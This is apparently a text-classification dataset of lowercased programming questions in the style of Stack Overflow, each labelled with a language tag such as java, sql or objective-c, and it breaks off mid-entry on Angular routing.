regex lookingat() in java  i am trying to write a program <em>multiplicationtable</em> which displays the multiplication table the user inputs from the command line  so that if the user enters <em>multiplicationtable 5 7 9</em>  the tables of 5 7 and 9 appear. it also has to cater for input such as <em>multiplicationtable 7-11</em>  which would display the tables from 7 to 11. the following is what i wrote:   <pre><code>import java.util.regex.matcher; import java.util.regex.pattern;  public class multiplicationtable{      static void multtable(int n){         for(int i=0; i&lt;=12; i++){             system.out.printf( %2s   i);             system.out.println(  *   + n +   =   + i*n);         }     }         static string regex =  - ;      public static void main (string[] args){          pattern p = pattern.compile(regex);          if(args.length == 0)             system.out.println( error! no multiplication table entered! );         else{             for(int i=0; i&lt;args.length; i++){                 matcher m = p.matcher(args[i]);                  if(m.lookingat()){  // if a dash is found                     int start = integer.parseint(args[i].substring(0  m.start()-1));                     int end = integer.parseint(args[i].substring(m.start()+1  args[i].length()-1));                     system.out.println(start +     + end);                     /*for(int j=start; j&lt;=end; j++)                         multtable(j);                 }                 else{                     multtable(args[i].integer.parseint(substr(0  args[i].length-1)));*/                 }             }         }     } } </code></pre>   the problem is that the program is not going into this if statement:   <pre><code>if(m.lookingat()){ </code></pre>   the <code>system.out.println(start +     + end);</code> was added as a test and when the command <em>multiplicationtable 7-11</em> was executed  the values are not being displayed. am i not getting something about the way lookingat() works  or am i using it incorrectly,java
php split a day into number of times   need a php function to split a day with number of times and get the right time. for example if i split a day into 2 times   <pre><code>00:00:00 12:00:00 </code></pre>   if i split a day ( 24 hours) in to 4 times it will show following   <pre><code>00:00:00 06:00:00 12:00:00 18:00:00 </code></pre>   and if i split into 6 times output will be like   <pre><code>00:00:00 04:00:00 08:00:00 12:00:00 16:00:00 20:00:00 </code></pre>   i need a function something like this   <pre><code>   &lt; php       function split_times ($interval) {     //code     return arry;     }  &gt; </code></pre>,php
couldn t find model without an id from application_controller.rb  i am trying to create a session for a model called <strong>commuter</strong> by defining a helper method in <code>application_controller.rb</code> file. as follows.    <strong>application_controller.rb</strong>   <pre><code>helper_method :current_commuter    def current_commuter       @commuter ||= commuter.find session[:cid]   end </code></pre>   after verifying the commuter s phone number i am trying to create a  login session.    <strong>commuters_controller.rb</strong>   <pre><code>def verify     @commuter = commuter.where(phone_number: params[:phone_number]).first     if (@commuter &amp;&amp; @commuter.authenticate_otp(params[:otp] drift:300))       @commuter.auth_active = true       if @commuter.save         #removed from session after verified it         session[:phone_number] = nil         session[:is_verified] = nil         #signed in commuter after verified it         sign_in(:commuter  @commuter)         flash[:notice] =  your mobile no is verified.        end     else       flash[:alert] =  you have entered wrong otp.please check again.      end     puts  #{current_commuter.phone_number}      redirect_to root_path   end </code></pre>   i put a <code>puts</code> to check if the <code>current_commuter</code> is working or not. it is when i checked on the console. now when i added few links on a view file as follows:    <strong>app/views/bookings/outstation.html.erb</strong>   <pre><code>&lt;%if current_commuter.present  %&gt;   &lt;li&gt; &lt;%= link_to  dashboard   dashboard_commuters_path %&gt; &lt;/li&gt;   &lt;li&gt; &lt;%= link_to  logout   destroy_commuter_session_path  method: :delete%&gt;&lt;/li&gt; &lt;%else%&gt;   &lt;li&gt;     &lt;a href=   data-toggle= modal  data-target= #signinmodal &gt;       register | login     &lt;/a&gt;   &lt;/li&gt; &lt;%end%&gt; </code></pre>   now i am getting the following error:   <pre><code>activerecord::recordnotfound in bookingscontroller#outstation  couldn t find commuter without an id </code></pre>   <strong>edit</strong>    <strong>bookings_controller.rb</strong>   <pre><code>    class bookingscontroller &lt; applicationcontroller   layout  bookings    before_action :set_ride_later_request_from_ref_id  only:[       :select_vehicle  :update_vehicle_details        :contact_details :complete_booking_request]   before_action :set_ride_later_request_from_uuid_ref  only:[     :request_quotations :quotations  :confirm_booking      :confirmation   ]   before_action :set_trip_type  only: [:outstation  :local_booking]    def new_booking     @ride_later_request = ridelaterrequest.new     @vahicle =  ridelaterrequest.new   end    def create_ride_later_request     @ride_later_request = ridelaterrequest.new(permitted_attributes(ridelaterrequest))     respond_to do |format|       if @ride_later_request.save         format.html {redirect_to bookings_select_vehicle_path(ref_id: @ride_later_request.rlr_ref_code.content)}       else         format.html {render :outstation}       end     end   end   def update_vehicle_details     respond_to do |format|       if @ride_later_request.update(permitted_attributes(ridelaterrequest))         format.html {redirect_to bookings_contact_details_path(ref_id:@ride_later_request.rlr_ref_code.content)}       else         format.html {render :select_vehicle}       end     end   end    def contact_details    end    def complete_booking_request     @operation = nil     if params[:get_otp].nil  &amp;&amp; params[:get_quotations].nil        render json:{error: wrongly formed request }  status: 422     end     if params[:get_otp]       @operation = :get_otp       if @ride_later_request.update(permitted_attributes(ridelaterrequest))         smssender.send_otp_message(@ride_later_request.phone_number @ride_later_request.otp_code)         return       else         render json:{error:@ride_later_request.errors.full_messages[0]}  status: 422       end     elsif params[:get_quotations]       @operation = :get_quotations       if (params[:ride_later_request][:otp].blank  ||          !@ride_later_request.authenticate_otp(params[:ride_later_request][:otp] drift:300))           render json:{error: otp is wrong }  status: 422 and return       else         @ride_later_request.user_verified = true         if !@ride_later_request.save            render json:{error:@ride_later_request.errors.full_messages.first}  status:422 and return         end         if @ride_later_request.status ==  underconstruction            render json:{error: some fields are missing. please try again }  status:422  and return         end       end     end   end      def request_quotations     request_loc = [@ride_later_request.pickup_lat @ride_later_request.pickup_lng]     @rfq_agencies = @ride_later_request.rfq_agencies.sort_by{|l|l.distance_to(request_loc)}     @ride_later_quotes = @ride_later_request.ride_later_quotes.to_a     @ride_later_quotes.sort!{|a b| a.total_payable.to_i &lt;=&gt; b.total_payable.to_i}   end    def quotations     @ride_later_quotes = @ride_later_request.ride_later_quotes.to_a     @ride_later_quotes.sort!{|a b| a.total_payable.to_i &lt;=&gt; b.total_payable.to_i}     if session[:trip_type] ==  hourlypackage        render :local_booking_quotation     else       render :outstation_booking_quotations     end     end    def confirm_booking     if @ride_later_request.status== unfulfilled  ||         @ride_later_request.status== rejected  ||          @ride_later_request.status== ignored        render json:{error: trip request has expired. start a new booking. }  status:422 and return     end     if @ride_later_request.status== cancelled        render json:{error: trip request has been cancelled. start a new booking. }  status:422 and return     end     if @ride_later_request.status!= quotesready        render json:{error: trip request is in wrong state. start a new booking. }  status:422 and return     end      @quote = @ride_later_request.ride_later_quotes.find(params[:quote_id]) rescue nil     if @quote.blank        render json:{error: quotation not linked to this trip }  status:422 and return     end     if @quote.status !=  submitted        render json:{error:  quote is in wrong state #{@quote.status}. start a new booking }  status:422 and return     end     @quote.status =  accepted      if !@quote.save       render json:{error:@quote.errors.full_messages.first}  status:422 and return     end     ridelaterrequesthandler.commuter_accepts_quote(@quote)   end    def confirmation     @ride = @ride_later_request.ride_later_ride     @quote = @ride.ride_later_quote   end     def set_ride_later_request_from_ref_id     @ref_id = params[:ref_id]     @ride_later_request = rlrrefcode.where(content:@ref_id).first.ride_later_request rescue nil unless @ref_id.blank          if @ride_later_request.blank        flash[:alert] =  something went wrong. please create new booking request.        redirect_to bookings_new_path     end       end    def set_ride_later_request_from_uuid_ref     @uuid = params[:booking_id]     @ride_later_request = ridelaterrequest.where(uuid_ref:@uuid).first rescue nil if @uuid.present      if @ride_later_request.blank        flash[:alert] =  something went wrong. please create new booking request.        redirect_to bookings_new_path     end       end     def select_vehicle     @ride_later_request = rlrrefcode.find_by_content(params[:ref_id]).ride_later_request   end    def vehicle_type_ac     if params[:booking_summary_id].present        @ride_later_request = ridelaterrequest.find(params[:booking_summary_id])     else       @ride_later_request = rlrrefcode.find_by_content(params[:ride_later_request][:ref_id]).ride_later_request       @ride_later_request.update(vehicle_type: params[:ride_later_request][:vehicle_type]  number_of_passengers: params[:ride_later_request][:number_of_passengers])     end   end    def vehicle_type     @ride_later_request = rlrrefcode.find_by_content(params[:ref_id]).ride_later_request   end    def outstation     @ride_later_request = ridelaterrequest.new(trip_type:  outstation )   end      def local_booking     @ride_later_request = ridelaterrequest.new(trip_type: params[:trip_type])   end    def bangalore_innova     @ride_later_request = ridelaterrequest.new(trip_type:  outstation )   end    def bangalore_outstation     @ride_later_request = ridelaterrequest.new(trip_type:  outstation )   end    def bangalore_taxi     @ride_later_request = ridelaterrequest.new(trip_type:  outstation )   end     def tt_for_rent     @ride_later_request = ridelaterrequest.new(trip_type:  outstation )   end   def minibus_for_rent     @ride_later_request = ridelaterrequest.new(trip_type:  outstation )   end   # def select_vehicle_local    # end    def about_us    end    def terms_conditions    end   def privacy_policy    end   def journey_way     @ride_later_request = ridelaterrequest.create(user_params)     @ride_later_request.save     respond_to do |format|       format.html {render :select_vehicle}     end     end    def outstation_booking_quotations     @ride_later_request = ridelaterrequest.find_by(id: params[:ride_later_request])     @ref_id = params[:ref_id]   end    def select_vehicle_outstation     @ride_later_request = rlrrefcode.find_by_content(params[:ref_id]).ride_later_request     redirect_to outstation_booking_quotations_path(@ride_later_request.rlr_ref_code.content  @ride_later_request )   end    def trip_summary      @ride_later_request = rlrrefcode.find_by_content(params[:ride_later_request][:ref_id]).ride_later_request     @ride_later_request.update(vehicle_type: params[:ride_later_request][:vehicle_type]  number_of_passengers: params[:ride_later_request][:number_of_passengers])      puts  ride later request log      puts @ride_later_request       if @ride_later_request.update(additional_instructions: params[:ride_later_request][:additional_instructions]  ac:  ac )         render :template =&gt;  bookings/booking_summary   :locals =&gt; {:ride_later_request =&gt; @ride_later_request  :ref_id =&gt; @ride_later_request.rlr_ref_code.content  :vehicle_type =&gt; params[:ride_later_request][:vehicle_type]}       else         format.html {render :index}       end   end    def user_params     params.require(:ride_later_request).permit(:pickup_area  :pickup_city  :destination_city  :pickup_lng  :pickup_lat)   end    def set_trip_type     session[:trip_type] = params[:trip_type]   end   end </code></pre>,ruby-on-rails
python code has errors in old version of python   i am running the same script on another server and it runs fine but have problems in the new server. is it because the python version in the new server is outdated  old version is python python 2.7.3 and new server has python 2.6.6     one of the error is this <code>error was  nonetype  object has no attribute  get_text </code> the code is below   <pre><code>#area     try:         area= soup.find( div    location )         result= str(area.get_text().strip().encode( utf-8 ))         # print([area_result])         area_result=cleanup(result).split( &gt; )[2].split( ; )[0]         nearby_result=cleanup(result).split( &gt; )[2].split( ; )[1]         # nearby_result=cleanup(area_result).split( &gt; )         print  area :   area_result         print  nearby:   nearby_result          # print  nearby :   nearby_result      except standarderror as e:         area_result= error was {0} .format(e)         print area_result </code></pre>,python
sql query creating start and end dates  alright  let s say i have a table that looks like this:   <pre><code> id   | date  2  | 2010-08-12  2  | 2010-08-16   2  | 2010-08-17   2  | 2010-12-21   2  | 2010-12-22   2  | 2011-05-25  </code></pre>   anyone have an idea on how to query it so the data looks like   <pre><code> id   | startdate  | enddate  2  | 2010-08-12 | 2010-08-15  2  | 2010-08-16 | 2010-08-16  2  | 2010-08-17 | 2010-12-20  2  | 2010-12-21 | 2010-12-21  2  | 2010-12-22 | 2010-05-25 </code></pre>,sql
check a mysql database periodically  i have a <code>mysql</code> database  and i want to check the data in this database for every day automatically.    what i mean is to test periodically for data in database  if my test is true  the script will be executed automatically.    is there any way to do that in <code>mysql</code>,mysql
move element up using css only  i am creating a print stylesheet for an calendar element (based on fullcalendar.io).  the calendar is displayed with 15 minute timeslots on the y axis.  the print stylesheet does 2 things:   <ol> <li>removes the first 8 hours of the day (which is 32 rows of 15 mins per row)</li> <li>resizes the 15 min slots from 20px to 12px</li> </ol>   the events that are rendered on the calendar are absolutely positioned and as such when this css resizing happens are out of place.  for example:    an event that started at 9am would have been positioned on the 37th row of the table  with top of <code>36*20 = 720px.</code>    the new position would need to take into account the missing first 32 rows <code>(32*20=640)</code> and then the fact that the remaining rows are 40% smaller (1-12/20).    i can transform the position using translatey however i cannot seem to make this work using both a fixed value and a % of the current top position in order to create a generic rule for each event.  is this possible using just css     <strong>edit</strong>    i m not sure how to demonstrate with a code snippet however it really comes down to one simple issue:  i need to move an absolutely positioned element up by 40% of it s current top value.      if the element has <code>top: 100px</code>    i need it to be positioned at 60px    if it has <code>top: 250px</code>    i need it to be positioned at 150px    the calculation is easy but i don t seem to be able to use the current top value in css,css
rubyonrails.org tutorial shows wrong view in browser  i followed the directions up to step 5. there was a view folder called layouts with a file called application.html.erb that was automatically created but the tutorial hasn t mentioned it at all. i don t know if i m supposed to delete it or leave it alone. i created a view that appears in explorer as a welcome folder with index.html.erb as the file  edited the file to show some html and edited routes.rb so they root would point to this welcome page following exact steps in section 4.3 setting the application home page.    viewing the project in browser just pulled up an error message that something is wrong with the application.html.erb that i hadn t even touched. i temporarily replaced contents with just a this shouldn t be here  and refreshed  sure enough  this shouldn t be here  is what appears in my browser at localhost:3000 instead of the contents of index.html.erb     went back to command prompt to see if changing the route had worked and i would assume it did:   <pre><code>c:\users\susan\ruby_projects\blog&gt;rake routes    prefix verb uri pattern              controller#action      welcome_index get  /welcome/index(.:format) welcome#index      root          get  /                        welcome#index </code></pre>   why is it showing this other file instead of mine when i open it in the browser if the routes say to go to mine,ruby-on-rails
nsmutablearray enumerating objects  how can i enumerate the values of the instances in this code through fast enumeration  it s returning addresses of the arrays  and also i feel like there is a short way for doing this.    <pre><code>bnrstockholding *stockholding = [[bnrstockholding alloc] init]; [stockholding setpurchasedshareprice:2.30]; [stockholding setcurrentshareprice:4.50]; [stockholding setnumberofshares:40]; float p = [stockholding purchasedshareprice]; float c = [stockholding currentshareprice]; int n = [stockholding numberofshares]; float cost = [stockholding costindollars]; float val = [stockholding valueindollars];  bnrstockholding *stockholding1 = [[bnrstockholding alloc] init]; [stockholding setpurchasedshareprice:12.19]; [stockholding setcurrentshareprice:10.56]; [stockholding setnumberofshares:90]; float p1 = [stockholding purchasedshareprice]; float c1 = [stockholding currentshareprice]; int n1 = [stockholding numberofshares]; float cost1 = [stockholding costindollars]; float val1 = [stockholding valueindollars];  bnrstockholding *stockholding2 = [[bnrstockholding alloc] init]; [stockholding setpurchasedshareprice:45.10]; [stockholding setcurrentshareprice:49.51]; [stockholding setnumberofshares:210]; float p2 = [stockholding purchasedshareprice]; float c2 = [stockholding currentshareprice]; int n2 = [stockholding numberofshares]; float cost2 = [stockholding costindollars]; float val2 = [stockholding valueindollars];  nsmutablearray *threeinstances = [nsmutablearray arraywithobjects:     stockholding  stockholding1  stockholding2  nil];  for(bnrstockholding *d in threeinstances) {     nslog(@ %@   d); } </code></pre>,objective-c
what s wrong with my table   here is the code for the table:   <pre><code>&lt;table align= center  width= 303  height= 740  border= 1  cellpadding= 10 &gt;   &lt;tr&gt;     &lt;th width= 130  height= 41  scope= col &gt;url1 - normal&lt;/th&gt;     &lt;th width= 121  scope= col &gt;url2  - hover&lt;/th&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td height= 94 &gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-green.png /&gt;&lt;/td&gt;     &lt;td&gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-green-h.png  alt=  /&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td height= 124 &gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-blue.png  alt=  /&gt;&lt;/td&gt;     &lt;td&gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-blue-h.png  alt=  /&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td height= 147 &gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-grey-h.png  alt=  /&gt;&lt;/td&gt;     &lt;td&gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-grey.png  alt=  /&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td height= 137 &gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-pink.png  alt=  /&gt;&lt;/td&gt;     &lt;td&gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-pink-h.png  alt=  /&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td height= 132 &gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-red.png  alt=  /&gt;&lt;/td&gt;     &lt;td&gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-red-h.png  alt=  /&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td height= 132 &gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-black.png  alt=  /&gt;&lt;/td&gt;     &lt;td&gt;&lt;img src= http://i1018.photobucket.com/albums/af309/5416339/ad-black-h.png  alt=  /&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   when i insert the table  it leaves a gap in-between the table and the text. if i remove the table  then everything is fine. what s going wrong here,html
how to test if a type like uint64_t is supported   how can i test if a type is supported by a compiler  say like uint64_t. is there a reference somewhere i can use for learning how to test for any given types     it is surprisingly hard to find this out via search engine. i tried  c test for data type  and many other things.,c
global application object instantiated twice android  i am instantiating an application object in the manifest file as below.   <pre><code>    &lt;application android:name= .myapp      android:icon= @drawable/add_icon_with_oval      android:label= @string/app_name      android:process= com.test.myprocess      android:allowbackup= false &gt; </code></pre>   i am starting a service from my application which is running in another process. this service is also declared in my manifest file as below.   <pre><code>     &lt;service         android:name= com.test.package.myservice          android:permission= some.permission          android:process= com.test.anotherprocess  &gt;     &lt;/service&gt; </code></pre>   the problem that i am seeing here is that myapp is instantiated twice  one for my process  com.test.myprocess and another instance for  com.test.anotherprocess.    is there is a way that i can prevent creating myapp for com.test.anotherprocess,android
angularjs: $q wait for all even when 1 rejected  i ve been trying to wait for a couple of promises with angular s $q but there seems to be no option to  wait for all even when a promis is rejected . i ve created an example (<a href= http://jsfiddle.net/zenuka/phef9/21/ >http://jsfiddle.net/zenuka/phef9/21/</a>) and i want a function to be executed when all promises are resolved/rejected  is that possible  something like:   <pre><code>$q.whenallcomplete(promises  function() {....}) </code></pre>   edit: in the example you see that the second service fails and immediately after that the function in <code>$q.all().then(...  function(){...})</code> is being executed. i want to wait for the fifth promise to be completed.,angularjs
by ref or value for nsmutablearray - (void)addobjectsfromarray   you cannot add/remove objects from a nsarray because it is immutable.  but you can update one of the objects.    in contrast nsmutablearray can add/remove objects and has an addobjectsfromarray method which takes in an nsarray as an argument.    are the objects now in the nsmutablearray originally in an nsarray by reference or value     meaning if i update a property of an object in an nsarray that was previously passed to an nsmutablearray  will the object in nsmutablearray see that change and vice versa,objective-c
randomly generating from a dictionary and returning the key and value  this is a 2 part question  i am making a blackjack game and i am trying to randomly generate a key and value (key = string(card value e.g. hearts2)  and value = int (score for that specific card value))  and i would like to try and return the key and value.    i have a deck  dealer and player class. my deck class has 2 methods  deck() and shuffel()  deck() is used to create the deck and shuffle90 well shuffles the deck(). i would like to send the random card to the dealer class to deal the cards. i am not sure if it is possible to return the key and value so the dealer class method (dealcards()) can receive a string and int as parameters.    also i found a way to randomize my dictionary but it is returning the entire dictionary randomized  but i only need one card to be returned.    this is what i have so far for the deck class...    this is my    <pre><code>public static dictionary&lt;string  int&gt; deck() {     string[] suite = new string[4] {  spades    clubs    hearts    diamonds  };     string[] facevalue = new string[13] {  a    2    3    4    5    6    7    8    9    10    j    q    k  };     int score;      dictionary&lt;string  int&gt; deckofcards = new dictionary&lt;string  int&gt;();      for (int s = 0; s &lt; 4; s++)     {         string sute = suite[s];          for (int f = 0; f &lt; 13; f++)         {            string fv = facevalue[f];              if (f == 0)             {                 score = 0;             }             else if (f &gt;= 9)             {                 score = 10;             }             else             {                 score = (f + 1);             }              string card = (sute + fv);              deckofcards.add(card  score);         }     }       dictionary&lt;string  int&gt; rancard = deckofcards.shuffle();      return rancard; } </code></pre>   as you can see i created 2 simple arrays and used for loops to iterate through them and add them to the dictionary.    the last two lines  the first is declaring a new dictionary to hold the random card and reciving its value from the <code>shuffle()</code> method (is posted bellow) and i would like to know if there is a way to return <code>rancard.key  rancard.value</code>   so i can have my dealer class method like this (<code>dealcard(string card  int score)</code>)     this is my <code>shuffle()</code> method for my <code>deck</code> class...   <pre><code>public static dictionary&lt;tkey  tvalue&gt; shuffle&lt;tkey  tvalue&gt;(this dictionary&lt;tkey  tvalue&gt; cards) {     random r = new random();     cards = cards.orderby(x =&gt; r.next(0  cards.count)).todictionary(item =&gt; item.key  item =&gt; item.value);     return cards; } </code></pre>   now with this method the entire dictionary is randomized and i would like to just return one randome value if possible. i tried to remove the parameters in the r.next(**) but still the same.    i am using vs2012.,c#
how to do localization for iphone  i got button....  displays on button  search...    when i selected localization.....    i need to display     zoeken      for search button its displays zoeken...    @all thanks in advance.,iphone
how to bind textbox to the datable and make it search like google for some field of datable   i have a populated datatable and a search textbox   i want to bind datatable to the search text box and want to make it search like google  how can i achive this     edited :<br> like i want my search box to start searching all the first name which are similar when i start typing characters it starts searching for similar records as i type more character it display below more correct record like google,asp.net
not to create an object with new constructor  is there an option to not create an object with particular condition within constructor  e.g.    <pre><code>function monster(name  hp) {     if (hp &lt; 1) {        delete this;     }     else {            this.name = name;     } } var themonster = new monster( sulley   -5); // undefined </code></pre>,javascript
javac compile error -  ...abstract; cannot be instantiated   new to java... trying to get a sample app to run. i m including the section of code that appears to be relevant to the issue. i can post the entire test app if needed. i    i m trying to implement the errorhandler to handle the css warnings that are generated when the app is parsing targeted websites via the htmlunit lib/test that the app runs.     i m not sure exactly how the mycsserrorhandler class should be implemented in order to invoke the errorhandler. i m also not exactly sure how to instantiate the object in the main body of the code/test class.    thoughts/comments/code chunks would be helpful..     thanks!    i m getting the following error when i compile:   <pre><code>[root@toshiba parseapp2]# javac -xlint -classpath  /opt/htmlunit/lib/*:/parseapp2/  sjsu_classes.java  warning: [path] bad path element  /opt/htmlunit/lib/xml-apis.jar : no such file or directory warning: [path] bad path element  /opt/htmlunit/lib/xercesimpl.jar : no such file or directory warning: [path] bad path element  /opt/htmlunit/lib/serializer.jar : no such file or directory sjsu_classes.java:92: sjsu_classes.mycsserrorhandler is abstract; cannot be instantiated         errorhandler ierr = new mycsserrorhandler();                          ^ 1 error 3 warnings  ==================================== </code></pre>   the test code chunk is:   <pre><code>import org.w3c.css.sac.errorhandler;     import com.gargoylesoftware.htmlunit.defaultcsserrorhandler; import org.xml.sax.saxparseexception;  public class sjsu_classes {      //==handle the warnings thrown from the js functions..     public static class myincorrectnesslistener implements incorrectnesslistener     {       @override       public void notify(string arg0  object arg1)       {         //system.err.println( argument :   + arg0.tostring() +    object :  );       }     }           //==handle the warnings thrown from the css functions.. //  public static class mycsserrorhandler implements defaultcsserrorhandler //  public static class mycsserrorhandler implements errorhandler //  public class mycsserrorhandler implements errorhandler     public abstract class mycsserrorhandler implements errorhandler //  protected class mycsserrorhandler implements errorhandler     {       //@override       public void notify(string arg0  object arg1)       {         //system.err.println( argument :   + arg0.tostring() +    object :  );       }       //@override         public void fatalerror(saxparseexception ex)         {             //fatals.add(ex);         }     }       //public static void main(string[] args) throws exception {     public void main(string[] args) throws exception {          // create and initialize webclient object //     webclient webclient = new webclient(browserversion.explorer_7);        webclient webclient = new webclient(browserversion.firefox_3);            //webclient webclient = new webclient();          incorrectnesslistener ilisten = new myincorrectnesslistener();          errorhandler ierr = new mycsserrorhandler();          webclient.setincorrectnesslistener(ilisten);          webclient.setcsserrorhandler(ierr);  </code></pre>,java
mysql group by and having clause  i am trying to write a script to show the names of every city with at least two customers  along with the number of customers in that city.     here s what i have but i cannot figure out how to get the number of customers.  am i close     <pre><code>select concat (fname     lname) as customers  city  from customer group by city having count(cid) &gt;= 2 </code></pre>,mysql
how do i use the drop down box from flat ui kit (free)   i have managed to include flat ui (free) css in my project which styled my buttons and text boxes (along with normal text) however i cannot manage to also style the drop down button which is shown on the <a href= http://designmodo.github.io/flat-ui/  rel= nofollow >demo site</a>.    the problem is that if i add the class <code>select-block</code> (which is in the demo) to the <code>select</code> item in my html  the drop down isn t styled at all.,css
sql script to update a table based on multiple conditions using case statement  i have 2 tables under different database( using sql 2012)  table1 and table2 and need to update table1 based on the id and the value of table2     table1:   <pre><code>id      seen-date     disease-cat 111     01/01/2008    value1 111     01/01/2010    value2 111     03/-5/2-11    value10 222     03/02/2015    value3 </code></pre>   table2:   <pre><code>id  registered-date   main-category            sub-category  111     01/01/2011    1:blood pressure          1.1 blood pressure subcat 111     12/12/2011    1:blood pressure          1.2 blood pressure subcat 333     02/02/2015    2:cardiovasular disease   2.3 cardiovasular disease subcat 222     12/04/2013    3:lung disease            3.1 lung disease 444     01/01/2008    4:electro cardiogram      null </code></pre>   desired output:   <pre><code>id      seen date   value 111     01/01/2008  1.1 bp subcat 111     01/01/2010  1.1 bp subcat 111     03/-5/2-11  1.1 bp subcat 444     03/02/2015  4 ecg </code></pre>   <strong>conditions:</strong>   <ol> <li>table2 has more than 1  registered date  and i have to take the latest  registered date  and its corresponding  main category  and  sub category  values to update table1.</li> <li>when the id matches between 2 tables  update  disease cat  field based on the value of table2 s  main category  &amp;  sub category </li> <li>need to do mapping of disease codes because these 2 tables have different ways of recording the disease codes.   </li> </ol>   for eg:     <pre><code>table1(disease cat)   table2(main category &amp; sub category codes)   1 bp                    1:blood pressure   1.1 bp                  1.1 blood pressure subcat   </code></pre>  <ol start= 4 > <li> when the id matches  update table1 s  disease cat  field with table2 s  sub category  value  and if  sub category  is null update  disease cat  of table1 with table2 s  main category  field.    when i run the following script  it get error as<br>  subquery returned more than 1 value. this is not permitted when the subquery follows =  !=  &lt;  &lt;=   >  >= or when the subquery is used as an expression.      <pre><code> update table1    set value =     (select case when [sub category] is null then     case [main category] when  1:blood pressure  then  1 bp                        when  2:cardiovasular disease  then  2 cvd                        when  3:lung disease  then  3 ld   end      else case [sub category]                        when  1.1 blood pressure subcat  then  1.1 bp                        when  2.3 cardiovasular disease subcat  then  2.3 cvd                        when  3.2 lung diasease subcat  then  3.2 ld    end  end    from table2 d where  table1.nhsnumber = d.nhsnumber )   </code></pre></li> </ol>   also how to modify this script to get the latest  registered date  date(maximum) from table2.      any help will be much appreciated.,sql
jquery blur() used with elements  i want to select many elements that have a custom attribute  then get each one of them and execute a code when the blur() event triggered.   <pre><code>$( [attributename] ).blur(function(){ alert($(this).val()); } </code></pre>   i didn t want to use each() method  then verify witch one is blured ! because i don t want to go through all the dom elements that have the same attribute  then make the check  because it may take a huge load of momery,jquery
joining 3 grouped values  i have 3 queries that counts for each company  number of rows during certain month  from 3 different tables  and returning the same columns :qty   month and company_name.     instead of this i need to return 1 table with same 3 columns but qty must sum the value of all the 3 separated queries.     can you suggest the best way to join or execute it in which i will not loose speed of execution.     here is example of one of queries  the other 2 queries has exactly the same syntax  just instead <code>t_custsk</code>  they use <code>t_custsk2</code> and <code>t_custsk3</code>:   <pre><code>select     count(*) as qty       datepart (month  [start_date]) as [month]       t_syscom.company_name from     t_custsk inner join      t_syscom on t_custsk.company_id = t_syscom.company_id where     datepart (month  [start_date]) = 12 group by      datepart (month  [start_date])  t_syscom.company_name order by     month  qty desc </code></pre>,sql
getting exc_bad_access after splitting nsstring  i am trying to create a game in which people answer questions. i am having the questions be loaded from a text file. different parts are separated with • and questions with §. the code for separating works fine  except for when i try to create a question with it.   <pre><code>for(int n = 0; n&lt;[questionsfromfile count]; n++) {     nsarray *params = [((nsstring *)questionsfromfile[n]) componentsseparatedbystring:@ • ];      nsstring *fact = params[0];     nsstring *prompt = params[1];     nsstring *image = params[2];     nsstring *answerasstring = params[3];      bool answer = [answerasstring boolvalue];     ynquestion *question = [[ynquestion alloc]initwithfact:fact prompt:prompt image:image answer:answer];     [self.allquestions addobject:question]; } </code></pre>   in questions.txt:   <pre><code>fact•prompt•unknown.png•yes §fact•prompt•unknown.png•no </code></pre>   when i run it  it works fine until a question is loaded. then  it crashes with <code>exc_bad_access(code=2)</code>. if i replace fact  prompt  image etc. to equal @ hello  or @ goodbye  it works fine.    i am using arc. also  here is the code for the <code>ynquestion</code>.   <pre><code>@interface ynquestion : nsobject @property(assign  nonatomic)nsstring *fact; @property(assign  nonatomic)nsstring *prompt; @property(assign  nonatomic)nsstring *image; @property(assign  nonatomic)bool answer; -(id)initwithfact:(nsstring *)fact prompt:(nsstring *)prompt image:(nsstring *)image answer: (bool) answer; -(bool)checkifcorrect: (bool)answer; @end </code></pre>   now  it works. only with ones that are not my default.    surprise! it doesn t work again. i believe the error is with having hardcoded answers and answers in the .txt file. i m testing.,objective-c
read into a string (java)  i m trying to read a text file into a one single string with the following code:   <pre><code>try {         scanner input = new scanner (new file ( data.txt ));         while (input.hasnextline()) {            string += input.nextline();         }     } catch (filenotfoundexception e) {         // todo auto-generated catch block         e.printstacktrace();     } </code></pre>   this works when the file is really small. my file is around 20 kb and it just doesn t read. i don t get any errors. what should i do  i need to read it into one string.,java
angular routing - showing page not found  // hi i am trying to learn angular routing. i am just trying a simple example from youtube. when i click on page 1 and page 2 link. i still stay on the same page. please help   <pre><code>//this is index.html  &lt;!doctype html&gt; &lt;html ng-app&gt;     &lt;head&gt;             &lt;title&gt;angular practice&lt;/title&gt;[enter image description here][1]              &lt;script src =  app.js  type =  text/javascript &gt; &lt;/script&gt;     &lt;/head&gt;   &lt;body&gt;  &lt;h1&gt;this is index.html page&lt;/h1&gt; &lt;br/&gt; &lt;a href =  /#/page1 &gt; this is page 1 &lt;/a&gt; &lt;br/&gt; &lt;a href =  /#/page2 &gt; this is page 2 &lt;/a&gt; &lt;br/&gt;   &lt;div ng-view&gt; &lt;/div&gt;   &lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.5.6/angular.min.js &gt;&lt;/script&gt;             &lt;script src =  https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular-route.js &gt; &lt;/script&gt;   &lt;/body&gt;  &lt;/html&gt; </code></pre>   // this is app.js   <pre><code>    var myapp = angular.module( myapp  [ ngroute ])     .config([ $routeprovider   $locationprovider  function($routeprovider $locationprovider){           $routeprovider.when( /page1   { templateurl :  partials/page1 });       